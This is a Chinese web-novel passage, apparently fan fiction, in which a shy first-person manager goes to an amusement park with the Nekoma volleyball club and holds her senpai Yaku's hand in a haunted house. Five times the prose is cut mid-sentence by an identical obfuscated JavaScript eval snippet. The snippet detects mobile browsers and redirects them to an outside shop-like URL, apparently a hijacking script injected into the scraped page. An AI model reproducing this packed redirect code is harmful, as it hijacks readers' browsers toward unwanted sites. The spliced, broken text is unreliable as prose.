他用筷子隔空指了指不远处热热闹闹的场景，“多参与一点吧，直到最后，过去的、现在的记忆会支撑着你继续走下去。” “不要惧怕未来的改变。” “尽管我们还尚未确定结果是好还是坏，但时间不会停下，我们总要往好的那一部分走。” # 这就是我通讯录里多了好多好友和群聊的由来。 一边这么在心里有些虚弱地下了定论，我一边提着行李踏进家门，关上门，停在玄关，下意识环视了一圈，莫名有点恍惚的陌生感涌上来。 ……好安静。 电器运行发出规律而微弱的滴滴声、偶尔会响起屋外风吹过树梢响起的叶片簌簌声，和合宿时就算在离体育馆很远的食堂工作时也能听到的各种排球造成的声音、一群排球选手的欢呼或懊恼的隐隐约 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309385|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 约的喊声形成格外鲜明的对比，窜入鼻腔的、带着尘土的陈旧气息同那时的清新空气在原先的基础上更添几分落差。 我在原地停了一会儿，有些空茫地发了会儿呆，半晌才仿佛突然醒了一样回过神，先上前两步，伸手抹过旁边的鞋柜顶部，翻过手看了看指腹上沾着的一层灰。 啊……落了好多灰。 有点不喜地甩了甩手，换上拖鞋，蹙着眉绕着家里走了一圈，评估了一下觉得自己收拾会很累，便拿起手机联系了钟点工。 完全没想到一周没回家会落这么多灰……之前都没有一周不在家过。 看着角落里结起的蛛网，我有点头疼地抓了抓头发。 刚刚为了联系钟点工拿在手里的手机突然嗡嗡响起来，我下意识看了眼，发现是我们音驹排球部联络用的群聊的消息。 我点进去看了眼。是黑尾前辈的消息。 【黑尾：@所有人】 【黑尾：合宿结束！】 【黑尾：我们的游乐园计划可以提上日程了！】 【黑尾：你们后面都哪天有时间啊】 我刚好看见就直接回了。 【游：我都有空】 于是黑尾前辈开始挨个@别人。 其他人在他的狂轰滥炸下陆陆续续开始发言。 【灰羽：我跟小游一样都有空】 【福永：+1】 【山本：我大后天有事，其他时间都行】 【…………】 最后征求了所有人的意见之后，去游乐园的日子定在了后天。 研磨前辈对此缓缓打出问号，表示明明离开学还有一段时间为什么要在这时候这么着急地出去玩，刚合宿完不应该休息一会吗？ 灰羽对此表示关心：【研磨前辈累的话可以在明天休息】 【研磨：……】 我习惯性无视他俩的聊天记录，直接退出，去线上订票网站买完票，然后干脆地将截图发到了群里。 群里安静了片刻，然后被福永发的表情包打破了寂静。 【福永：[大拇指.jpg]】 【福永：小游超高效率】 36. 三十六个小岛 我们约定的时间是上午九点，大家在游乐园门口集合，一块检票进入园区，之后在看情况分散开来去玩自己想玩的项目。 我提前了一个小时出门，按着导航坐新干线到了附近再走路过去，一路上的路程很顺利，最后是提前了半个小时到的游乐园门口。 取完了纸质票，我站在游乐园门前的一大片空地上，四处环视了一圈，确定自己是第一个到的，才莫名松了口气般地深呼一口气，从随身带着的、装了钱包和一点零食的小包里面摸出手机，先报了个自己的进度、再拍了个照，最后才翻了翻其他人的进度。 嗯……研磨前辈说他跟黑尾前辈已经在路上了，大概八点五十左右到；灰羽说自己出门晚了点，但一定会准时到的，听语音应该正在路上狂奔，风声将他的嗓音吹得含糊而破碎，尖锐的杂音从手机扬声器冒出来，我吓了一跳，手忙脚乱地关掉声音，才觉得世界终于安静了。 我于是继续下翻，但没找到自己想要的那个人的行程。 唔……也不知道夜久前辈什么时候到。 依旧怀抱着对这次行程的期待，我在原地站了两秒，抬头看了看一片湛蓝的天空。 今天天气很好，太阳高高挂在天空上，洒下的阳光落在皮肤上带起不算柔和的灼热感，我默默转移阵地到旁边的树荫下，拨了拨头发，感觉有点热。 刚刚看攻略的时候才发现游乐园有些项目不能披着头发，但我出门的时候没想起来这事就没带，园区内应该会有皮筋可以买吧？ 我这么纠结着，一边四处转头看了看色彩鲜艳的建筑伫立在四周，往常只在派对上看到过的彩旗在高高的半空中结成网，挂着五颜六色的彩灯和灯笼，其下坠着的彩带被风吹着微微摆动，就算现在是上午灯也依旧是亮的，五彩的、不规律的高饱和彩光倒映在眼底闪烁着，画面鲜艳而童趣。我看了一会儿，一时想不起刚刚的纠结，下意识摸出手机，开着广角拍了张照。 我一键转发到了群里，思考了两秒，顺便发了ins。 这么说的话已经很久没发过ins了……平时会觉得没有发的必要来着，不过会给别人点赞。 我往下一划，首先映入眼帘的是研二哥的ins……怎么又是研二哥？出场率好高。 我微妙地吐槽了一句，先顺手点了个赞，才去看他到底发了什么。 是昨天发的，没看错的话是联谊现场，我还在角落里看到了阵平哥的脸。 ……他是不是在和旁边那个金发的人吵架？ 我沉默了两秒，假装自己什么都没看到地退出了ins。 嗯……习惯了，阵平哥是这样的。 说起来，之后他们警校毕业的时候我要去来着，就是不知道要不要留全程什么的……留全程会被拉去跟他们的朋友们认识的吧。 虽然知道阵平哥和研二哥的共友不可能是坏人但一想到又要跟陌生人碰面还是有点难绷……不过不管怎么样，还是到时候再说吧。 今天是出来玩的。 远远看到正在朝我招手的黑尾前辈一行三个人，我一边也小幅度地朝他们挥了挥手，一边认真地这么想着。 # “夜久竟然还没到吗？”黑尾前辈站在我面前四周找了一圈，惊讶道，“竟然是我们先到啊，他们都打算卡点吗？” 研磨前辈已经拿着游戏机躲去阴影里了，他闻言下意识扫了眼时间，“不是还有十五分钟吗？我们算提前到了。” 他顿了顿，突然有点感慨，“我以为我们已经出来得很早了，结果小游比我们还早到。” 我正按在跟夜久前辈的聊天框踌躇，突然被cue到不禁有点茫然地抬起脸，“什么？” “在问小游你是什么时候到的。”黑尾顺畅接话，顿了顿，倒真有点好奇，便问，“小游你几点出的门啊？比我们到的还早。” “啊，”我回想了一下，有点不确定，“八点零几分？不太记得了，到这是八点半差不多。” 三位前辈静了一瞬，随即齐齐发出震撼的声音。 海有点惊讶，“小游 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309386|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你出来这么早做什么？车程不是只有二十分钟出头吗？” 黑尾附和道：“对啊，在外面也很热的吧，幸好你没在太阳底下等，这段时间都很热呢。” 研磨轻轻摩挲了一下游戏机外壁，随即偏头看了眼被问的有点表情空白的茫然的我，默了两秒，轻轻揭开事实，“小游真的很期待啊。” 被研磨一语道破后，另两位三年级的前辈露出恍然大悟的表情、 迎着他们投来的、莫名带上的写着“果然是小孩子啊”的微妙慈爱的眼神，我哽了哽，下意识吐槽，“好奇怪的眼神……总感觉你们在想一些很奇怪的东西。” 但话落，我却还是忍不住飘忽了一下视线，有点赧然地抿了抿唇，犹豫着伸手，斟酌着比了一个不算很大的距离，“……稍微有一点点。我还没怎么来过游乐园呢，上次还是哥哥他们带我去的。” 我越说底气越足，顿了顿，继续补充道：“而且当时去的时候好多项目都玩不了诶，很正常的。” 黑尾前辈跟着我的话频频点头表示附和，但一张口还是有点微妙的笑意漾在语句中，他一本正经地道：“是是是……噗。” 我幽幽看向说到一半又笑场了的黑尾前辈，他在我的视线下彻底不装了，露出一个灿烂又爽朗的笑容。 海前辈忍不住笑了声，他开始打圆场，“是很正常，我也很期待今天来游乐园玩呢。” “我也是。”研磨前辈语气淡淡地附和着表态。 黑尾笑容僵在脸上，“？” 黑尾“喂”了声，“你们刚刚绝对都笑了！怎么现在都背叛了！” 海前辈和研磨前辈在他谴责的视线下节节退败，同时默默地移开视线。 秉承着不厚此薄彼的态度，黑尾前辈最后看向了我。 我朝他牵起唇角，露出一个没什么特殊意义的假笑来。 他沉默，跟之前的海前辈和研磨前辈一样默默地移开了视线。 ……说实话我真的有点想笑。 嗯……也的确笑了。 37. 三十七个小岛 排球部其他人陆陆续续地都到齐了。 我挨个把买到的纸质票送到他们手里，正打算跟着大部队往游乐园门口排队的地方走，就被突然想到什么的灰羽打断了。 他高高兴兴地举起手机，又晃了晃手里的票，提议道：“我们把票聚成一个圈拍照吧！姐姐说这叫打卡喔，她和朋友出去看电影的时候就会这么拍！” “可以啊！”犬冈第一个表示赞同，他从灰羽旁边冒出来，将票递出去，同时开始招呼旁边的人，“快来快来！马上就拍好了！” 我没什么异议，又恰好离得近，就率先响应着将票伸出去，同时下意识跟着一起抬眼看向在场其他人。 黑尾对上我的视线，又看了看不知什么时候已经凑过去加入的夜久、福永、和海，沉默两秒，把刚想吐槽他们自说自话地决定好了的话咽回去，随即一把揽过旁边的研磨，兴冲冲来凑热闹，“来来来，音驹排球部全员游乐园票的第一次合照！堂堂开始！” 夜久吐槽他，“多大人了还这么幼稚。而且什么叫游乐园票的第一次合照啊！” “喂喂，懂不懂潮流啊，这可是当代年轻人的流行梗，夜久你再什么都不知道下去可就要变成落伍的老头子了。” 黑尾毫不犹豫反呛回去，我已经习惯排球部的大家时不时的打闹，极其自然地忽略过去，已经拿出手机，对准了前方已经用票围成一个半圆的圈，琢磨了一会儿角度。 其他人已经纷纷占好了位置，黑尾直到最后才挤进来。我抬头确定了一下人已经齐了，便重新低下头去，对准中间由票组成的圆圈接连按下快门。 这种时候我不太想多去找准确的某一个的角度，便干脆直接连拍了好几张，准备等会在游乐园里排队的时候再从中挑几张出来更好一些的照片出来。 虽然是工作日，但现在正逢暑假，游乐园的人依旧不少，我们走到排队的队伍最后，见前面还有很多人，便干脆直接凑在一块先看看之后打算去哪个项目玩。 顺便还能分个组，我们一行十个人总不能全程跟小学生春游似的凑在一起玩，而且很多比较刺激的项目并不是所有人都能接受的，比如过山车和跳楼机。 我正对着地图和之前做的攻略琢磨等会儿的游玩路线，没仔细听他们在说什么，直到其他人已经吵吵闹闹开始分组的时候才慢半拍反应过来，“诶？” 环视一圈，灰羽、犬冈和山本已经一拍即合，跃跃欲试地准备特种兵式把想玩的几个刺激性项目都玩个遍；黑尾和研磨幼驯染自动组队，正在交流之后想玩的项目，没准会再加一两个人一起……唔，那去掉已经确定组队的人，剩下的就只有夜久、海、福永、芝山和手白。 我下意识偏头，望向后我几步正低头看着手中地图的夜久前辈。 夜久前辈会跟谁组队呢……又或者加入别人的队伍？首先排除灰羽那一队，如果跟黑尾前辈和研磨前辈的话、四个人应该也可以吧？会太多吗？ 兀自纠结着，我盯着他看了一会儿，低头重新看了一遍自己想玩的项目，踌躇半天，还是不敢直白地上去问。 ……或者试试能不能问问看他想玩什么项目？然后说我们想玩的项目都差不多然后顺理成章地提出同行？会不会太刻意了？ ……不，先不说刻意什么的。 夜久前辈一定会看出来的吧，他猜我心思一直猜的很准、或者说看得很准。 之前一直不太在意被夜久前辈看清想法和情绪之类的，所以完全想过改…现在想从哪里装一下都有点无从下手。而且我一直都不会遮掩什么或者说谎之类的，可能是因为从小到大一直都没有这样的情况在……？我从来没有想过在别人面前遮掩什么过。 这个说来话长，不过长话短说的话应该是因为没有练习过？再次之前没跟谁很熟过，算得上熟悉的也只有阵平哥和研二哥他们。跟他们没遇到什么需要我隐瞒的事情，别人又连说话的机会都没有更何谈隐瞒……啊，这么一想这不是完全不能算好事吗，明明之前一直都觉得没人跟我说话真是太好了。 安静地盯了他一会儿，我放任自己的思维四处衍生，视线没个落点地在他脸上随意乱飘，直到瞥见他侧了侧头，似有所觉地朝我望来—— 我猛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309387|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地回神，下意识将头转回来，直愣愣盯着手里攥着的地图发懵，完全不敢再抬头看过去。 刚、刚刚是不是对视了……？！ 即便只是几秒钟之前发生的事情，我也完全想不起来究竟有没有跟他视线相接哪怕一刻，模糊的、发呆的记忆中，唯一清晰的仅有他似有所觉望来的那一眼。 那双我某种意义上印象最最深刻的棕色眼睛倒映着早上落下的晨光，依旧澄澈、明亮，比数月前某个雨天望见的那双要亮很多，也没有湿冷的感觉缠在四肢。 但其实是没什么区别的。 足以听见心跳声的、幻境般的静谧中，鼻间似乎嗅到了雨夜的一点点泛着草木气味的土壤味道。 大抵是被莫名忆起的嗅觉勾起了回忆，我条件反射地回想起那一天的记忆。 下一个场景是什么来着……熟人叫了我的名字？ 不过我跟灰羽那会儿算熟人吗……好像没印象了，但他应该会觉得我们很熟了吧？要不然后面也不会老跟我搭话说排球部的事情的。 还没思考出个所以然来，下一刻，我竟真的听到了我的名字从其他人口中冒出来。 “小岛？” 传进耳边的声音格外熟悉，潜意识比我率先反应过来对面是谁，我条件反射般睁大了眼，呼吸在一瞬间唐突地滞住。 ……不是吧？还真来？ 我下意识抬眼，望向声源来的方向。 夜久前辈不知什么时候已经走到我跟前了。他迎面对上我的视线，似乎是微微有些惊讶地挑了挑眉，随即朝我露出一个平常的笑。 平常到我一瞬间像被拉入了某个寻常、又没那么寻常的，部活结束的艳阳天，夕阳将天空洒下的阳光映得橙黄，给他背光回头朝我望来时放缓的眉眼蒙上一层柔和又灿烂过头的橙光。 那时他问我要不要一起去便利店吃点热乎的东西垫垫肚子的声音一瞬间与现在重合。 现实与回忆的模糊交界中，我看着他朝我笑起来，随即，清朗的嗓音传进我耳畔。 “要跟我一起吗？” 他这么问。 38. 三十八个小岛 “好。” 大脑还没有反应过来的时候，我听见自己干脆到甚至可以说的上是迫切的声音。 随即，我忽地默了两秒，终于从后知后觉的、像是发现自己随便买的彩票中奖了一般的欣喜中清醒出来，想起刚刚自己脱口而出的迫切话语忍不住有点赧然地抿了抿嘴唇，小声地、掩饰般地又补了一句，“……好的。” 我愿意的。 我愿意的。 ……倒不如说，这正是我所期望的。 ＃ 游乐园因为人多而显得意外热闹，高饱和又多彩的颜色晃在眼中显得分外鲜艳而童趣。 我还在颇感新鲜新奇地四处看，那边却已经指着不远处的一个项目喊起来了。 “我们先去玩那个吧！感觉可以一起玩完之后再分开！” 犬冈的声音兴致勃勃的，我闻言回神，下意识顺着他们指着的方向看过去，远远地看到一个伫立在远处地面上的、巨大的骷髅头。 嗯……听游乐园宣传和别人体验过后的分享，据说是有多个真人npc的、超级吓人的鬼屋？ 有点想玩。 上次阵平哥和研二哥带我过来的时候我好像才十岁出头，很多项目都玩不了，鬼屋就是其中之一，我还没玩过这样的项目呢。 这么想着，我转头望向确认同行的夜久，语气带着点细微的期待地说：“我也想玩那个。” 夜久正准备开口的动作一顿，随即有些惊诧地转回来，“小岛你想玩？” 被他这么一句话提起，其他人也纷纷望过来。 山本顿时有了去那个据说能排全日本前三吓人的鬼屋的勇气，“连小游都敢玩！研磨！我们也一起去吧！” 研磨极速挂上痛苦面具，“……我不要。我不想玩。” 黑尾同他的幼驯染截然相反，他堪称迅速地挂上一张笑脸，一把按在研磨前辈的肩上，言笑晏晏道：“诶呀，研磨，去吧！连小游都比不过岂不是太逊了？那孩子可是比你还胆小啊。” “……小游没有同意小黑你把她当借口吧！而且怕生和怕鬼又不是一回事，不要自说自话地混为一谈啊！” “都一样都一样。快走吧！” “到底哪一样了……” 看着研磨前辈被黑尾前辈像强盗一样地半拖着走远，我有点犹豫地转头看向旁边的夜久前辈，有点忐忑，“……没问题吗？” 夜久正在旁边颇带慈祥（？）地笑着旁观，闻言有点疑惑地“嗯”了声，随即反应了两秒，乐了，“没问题的。研磨真不想玩的话黑尾不会强迫他的，没事儿。” 我有点微妙地看向他们远去的背影：……很没可信度啊，夜久前辈。 他笑着弯起眼，狡黠地朝我眨眨眼，问：“走吧？不是想玩？” 我盯他两秒，随即堪称是毫不犹豫地顺着他的话揭过这一茬，带着些微期待地点头应下，“好！” # 鬼屋排队的人不算多，但也称不上少。不过进人进地快，还有好些人半途突然不敢玩了从队伍里出来，所以最后倒也没排多久就到我们了。 鬼屋人多会丧失很多本该有的惊吓，所以工作人员一次只会放三四个人进去。我们一行人人多，自然不可能一次性进完，最后是分成三批进去的。 我是最后一批，同组的人是夜久前辈、黑尾前辈还有研磨前辈。 研磨前辈虽然成功被黑尾前辈拖来了，但不愿意先进，最后就跟本来就走在最后的我和夜久前辈同一批进了。 将前一组的山本前辈他们送进去，我躲到几位前辈的身后试图挡住从门口飘来的冷气，抬起头，若有所思地打量着这所设施的装修。 鬼屋主题不出意外就是白骨骷髅什么的，深灰色的外墙被刻意做旧，墙皮大片大片地脱落，露出其下深咖色的内里，生了锈的破旧铁钉将好几件血衣钉在墙上，阴森森地垂落着。 巨大的骷髅头冷冷地伫立在那里，进入鬼屋的门是它大张着的嘴巴。漆黑的帘子垂下来，遮住外面向内洒入的所有光线，除此之外偶尔也会被过大的空调冷风吹起一角，露出里面沾着血迹的陈旧地板。 听着里边隐约传来的凄厉尖叫，我忍不住伸手搓了搓不知道因为冷风还是因为紧张而升起的鸡皮疙瘩——应该是前者后者都有吧。 夜久前辈注意到我的动作不禁侧头看来，想了想，应该是误会了什么，问我，“还想玩吗？小岛？不想了的话现在可以走。” 我懵了懵，意识到他的意思不禁有点哭笑不得，“没有啦……只是被风吹得有点冷，没有不想玩。” 夜久前辈有点纠结地“唔”了声，顿了会儿，还是关切地又提了一嘴，“不想玩记得说，这不是什么一定要做到的事情……嗯，可惜今天没带外套。” 我对前辈的关心并无不耐，接受极其良好，甚至有点高兴地抿了抿嘴唇，弯起一个小小的弧度。 黑尾在旁边围观地看了半晌，终于发出感想，“喂，夜久。列夫看到你这么特殊对待会哭的吧，真的会哭的吧。” 列夫要是都快进去了突然打退堂鼓，夜久绝对绑也得把他绑进去，何谈如此体贴地建议别再玩了，甚至怕人有压力还特意说明了。 还有，要是列夫说冷，夜久绝对会叫他自己抗着别用这种小事烦他，也不是不可能是关心，但总之，第一反应是把自己的外套脱给对方是绝对不可能的。 列夫会不会哭根本不重要，就是一借口而已，最主要的是夜久这家伙的态度啊。 黑尾如此想着，并试图以此来调侃自己的同期。 但夜久完全没有听懂他的引申意思，他只是翻了个白眼过来，没好气地吐槽，“谁管列夫哭不哭啊，他爱哭就哭好了。而且他和小岛又不一样。” 迎着黑尾骤然亮起的八卦眼神，夜久回看一眼，有点莫名，“他又不是女孩子有什么好多照顾的，这种事情给我自己做啊。” 黑尾燃起的八卦火焰啪嗒一下灭了，他神色凝重地看了会儿夜久，半晌，叹着气拍拍他的肩。 夜久：“？” 他刚想无语地反问，就忽地听到了工作人员招呼他们进入的声音。他于是瞪了黑尾一眼，转头看向我，招呼道：“还想玩的话就走吧，小岛。” “好。” # 撩起门口垂下的黑布，我微微低头踏进鬼屋的门，下一瞬，堪称冷冽的空调风便兜头朝我照过来。 嘶……心里准备还是做少了，知道会冷，但没想到这么冷。 可能是为了氛围，这里的空调开得很足，一进门，沾染着水汽的冷空气便瞬间攀上四肢，穿过宽松的衣服爬上脊背，我被吹得打了个哆嗦，下意识往前走了两步，越过门口被空调猛吹的地方，直到不小心撞到前面的人才后知后觉地停下。 被我撞到的夜久下意识回头望来，他神情在没什么光线中的空间中显得有些晦暗，但朦胧的视野混杂着感觉，我觉得他应是没有受到冷空气的干扰的。他压低了声音，有点担忧地问我，“怎么了？” 皮肤隔着层布料传来温热的触感，我下意识退后两步，搓了搓手臂，闻言摇了摇头，道：“有点冷。” 不过离开门口刚进来的那片区域之后就好多了，那边似乎是装了吹风机一样的东西，一下子突然吹过来的风是真的吓我一跳。 “嘛嘛，鬼屋为了氛围都是这样的啦，说不准待会儿还会更冷些。”熟悉的低沉声音在前方不远处响起，我抬头，一眼先看到了黑尾那极有特色的发型，随后才注意到他身旁另一个稍矮一些的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309388|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金色脑袋。 这两个人在这种黑漆漆的氛围下还是很显眼啊。我下意识如此感慨。 “总感觉小游你在想什么很失礼的事情。”研磨还在浑身紧绷地警惕观察四周，察觉到我的视线不经意看来，盯了我两秒，幽幽地这么说。 “……没有。”我虽然没觉得刚刚的话有多失礼，但在他隐含谴责的目光下还是略显心虚地矢口否认，随即注意到他原本观察四周的神情，也跟着下意识四处看了一圈。 我们现在正聚在进门后的一小块空地，光线很暗，看不大清楚，但依稀能看到前方凸起的众多不知道是什么的东西，挤挤攘攘地簇拥在一起，挤出一条弯曲的小道。 暗红色蔓延开来，空气似乎都带上了一层血腥感。 我定睛对着墙角倒下的那个人形黑影看了两秒，没认出那是什么，但莫名有点忐忑。 ……尸体？ 我下意识深吸了一口气。灌进鼻腔的只有冰冷的空气，除此之外没有任何异味，排风扇尽职尽责地发出细小的嗡嗡声地工作。 应该就是人体模型什么的吧。我揉了揉泛着凉的鼻子，这么想。 黑尾前辈的声音从暗中响起，“我们走吧。” 声音比往常还要低而沉一些，有些紧绷，话尾还带点干涩。我顿了两秒，不禁下意识转头看了离我最近的夜久前辈一眼。 他神情难辨，棕色的眸子被映得暗很多，能依稀辨认出其中的警惕。 在这样紧绷的氛围中，我莫名也感觉有点紧张起来了——虽然我至今没觉得这有什么就是了，黑了点、冷了点，但整体其实还好? 我犹豫地这么想着。 黑尾的提议无一人反驳，我们刚走了没两步，惨白的灯光便石破天惊地似闪电般断断续续又亮得惊人地闪烁起来、同时，诡异而撕心裂肺的尖叫声也随之响起。 画面一时尖锐而诡谲，不详的氛围迅速弥漫开来。 我看着墙角那个倒下的黑色人影也四肢扭曲地摇摇晃晃站了起来。 乱糟糟的发丝遮住了大半面容，污浊的血粘在脸上、下巴上、身上，它摇摇晃晃地立住，随即在尖叫声再次响起的瞬间猛地朝这边扑来。 动作机械而僵硬，是假人。 看清后被突然酝酿起来的氛围下了一跳的神经便蓦地一松，我长长吐了一口气。 虽然最开始稍微有点怕，但想到这本质上是个游乐设施，里面东西都是特意做出来的就没那么紧张了，最多也就是会有npc什么的……这么想就觉得也没那么吓人了。 如果音效和灯光能不要这么一惊一乍地就好了，另外几个前辈被吓到的反应太大容易把我吓到。 刚刚被旁边差点蹦起来的黑尾前辈吓了一跳，我下意识摸摸心脏，感受到掌下正加速跳动着的心跳，稍微有点心有余悸。 对外界的反应因为正沉浸在自己的思维中而迟钝了起来，被拉着跑起来的时候我其实没有第一时间反应过来。 跑起来时带起的冷风刮过皮肤，但我的注意力却全部放到了左手被人一把拉住时覆上来的、温热的触感。 皮肤温度带着股微凉，大抵是被空调冷风吹的，因为他掌心依旧是带着温热暖意的。我触到他手上的茧，薄薄一层，覆在指腹上，有点粗糙，存在感鲜明地厉害。 是夜久前辈。 自由人打排球会在手指上留下茧子啊……是因为夜久前辈一直有在练习自由人二传的技巧吧，他总会在部活结束后留下来加练。 胡思乱想着，我下意识动了动被他攥紧在手心的手指，指尖被他握在手里，微凉的温度也被熏得热乎起来，我不自觉抿了抿嘴唇，半晌，收起手指，反握紧了他的手。 ……可以的话，让这一刻再久一点吧。 39. 三十九个小岛 鬼屋这一行……没有想象中的那么吓人。 可能是因为知道都是假的，所以我除了会被打扮可怖的npc的突脸吓到之外其实没什么太大的感觉，为数不多的那点恐惧也没有其他人严重。 “……小游，你是什么物抗弱但魔抗max的角色吗？”研磨前辈表情恍惚地这么问我。 他捂着胃原地蹲下，神情透出股恍惚和极浓郁的心有余悸感，但没什么人对音驹最宝贵的大脑发表什么哪怕是象征意义上的关心，毕竟放眼望去，音驹排球部大部分人大多都是这么一副没缓过劲的样子。 彼时我刚从黑乎乎的鬼屋里钻出来，冰凉的感觉还残留在体内，尚未彻底褪去便被闷热的风裹挟着带走，驱散最外层的凉后再继续缓慢着吞噬残留在骨缝中的冷。我忍不住搓了搓手臂，心中莫名升腾起一种恍若隔世的感觉来。 ……好像真的不是很怕。 现在回想起来，印象最深刻的竟然不是鬼屋里突然出现贴脸的npc和阴冷诡谲的氛围，真要回想起来，第一时间浮现出来的……竟然是夜久前辈在黑暗中显得模糊而晦暗的侧脸和攥住手的温热触感。 脸颊逐渐开始隐隐发烫，我不自觉摊开有些僵硬的手，低头盯着透不出什么血色的苍白手掌看了两秒，虚空抓握两下，又忍不住有点羞赧地抿了抿嘴唇。 ……好陌生的感觉。 心脏跳得好快、刚刚明明没感觉有多吓人的……脸也在发烫、为什么？ 和小时候跟阵平哥研二哥牵手的时候完全不一样……是因为隔了好几年吗？ ……好奇怪。 大脑隐约陷入混乱，我用冰凉的手掌贴上仿佛被闷热的空气一并熏得滚烫的脸颊，还没思考出个所以然来，便突然从有些嘈杂的外界环境中提取出熟悉的音节。 “……嗯？”我有点含糊地先下意识应了一声，随即才慢半拍地抬起眼望过去，有点茫然。 研磨默了默。 他在内心挣扎了一会儿，最后实在提不起重复一遍自己刚刚说过的话的精力，便蔫蔫地摇了摇头，“……没事。” 听清了研磨的话且终于打起精神的山本原地反应了一会儿，没加载成功，忍不住问：“研磨，为什么说小游是魔抗max啊？” 已经逐渐灰暗了的研磨沉默着不想回答他，转头看向同行的黑尾，试图用眼神暗示他。 黑尾便代替幼驯染回了一句，“因为小游完全不怕鬼啊。” 顿了顿，他也逐渐灰暗下来，幽幽地补充了一句，“……某种意义上很可靠啊，小游。”就是很打击前辈的自尊心。 我没听懂，有点摸不着头脑地缓缓打出一个问号。 山本看着我毫无惊恐残留的镇静神情缓缓地破防了，“这不是完全被经理比下去了吗？！怎么会这样！” 盖在脸颊上的手掌触感从最初的冰凉逐渐被熏得泛起暖意，我不知道怎么回，便只看着山本前辈懊恼地面目扭曲地开始破防，内心微不可察地升起些许震撼。 “……我其实也有被吓到一点的，真的。”我试图劝慰。 山本前辈这下是真破防了，“跟我们比起来这一点不是完全不算什么吗？！” “……”我缓缓地沉默了一会儿，露出一个有点不知所措的尴尬而不失礼貌的微笑。 缓了一半被这边的动静打断的夜久前辈察觉到我的无措，便动作自然地伸手搭上我的肩膀把我带远了点。我察觉到他靠近了些，低头压低着声音问我，“下一个想玩什么？” 他凑地有些近了，温热的气息便随着呼吸扑在耳侧，连带着灼热的温度也咻地从耳根窜上来，直到整只耳朵都因充血而带起肿胀的热意。我僵住，一瞬间有点失声。 下意识克制住躲避的冲动，我嗫嚅两下吐出几个无意义的含糊音节，又随即听到前辈因没听清楚而下意识发出的疑惑鼻音，“嗯？” 舌尖抵住上颚，脑袋混乱而飞速地转起来，莫名升起的些微慌乱中，我脑海里闪过之前刷到的攻略中、推荐说胆大的人一定要玩的项目中和鬼屋并列榜首的另一个项目。 于是下一刻，不经大脑的话被我脱口而出。 “……云霄飞车。” 迎着夜久前辈有些诧异地看来的视线，我尽力维持着面不改色的镇静的样子，一边在心里打退堂鼓，一边强撑着再重复一遍，“我想玩云霄飞车。” # 我的确想玩过山车。 之前都没有玩过这种类型的项目，小时候跟两个哥哥出去玩的时候玩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309389|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的也都是比较温和的体验项目，不光没玩过鬼屋啊过山车之类的刺激性项目，还被兴致勃勃的研二哥抓去玩了两趟旋转木马……甚至是以觉得我会喜欢的借口抓上去的，到底是谁想玩啊。 但说实话，我最开始想尝试的并不是整个园区最大最刺激的过山车来着，虽然没有尝试过过山车但就算是我姑且也是知道什么叫循序渐进的……我还没有直接挑战地狱难度的兴趣。 ……但奈何话都说出口了，还不是说的广泛的过山车，而是准确的云霄飞车四个字。 一点含糊其辞的机会都没有……救命吧。 站在队伍中央跟着前面的人缓慢移动，我一边抬起头，从旁边被建筑和绿色组成的缝隙向上看去，望见其中横过的铁制轨道。 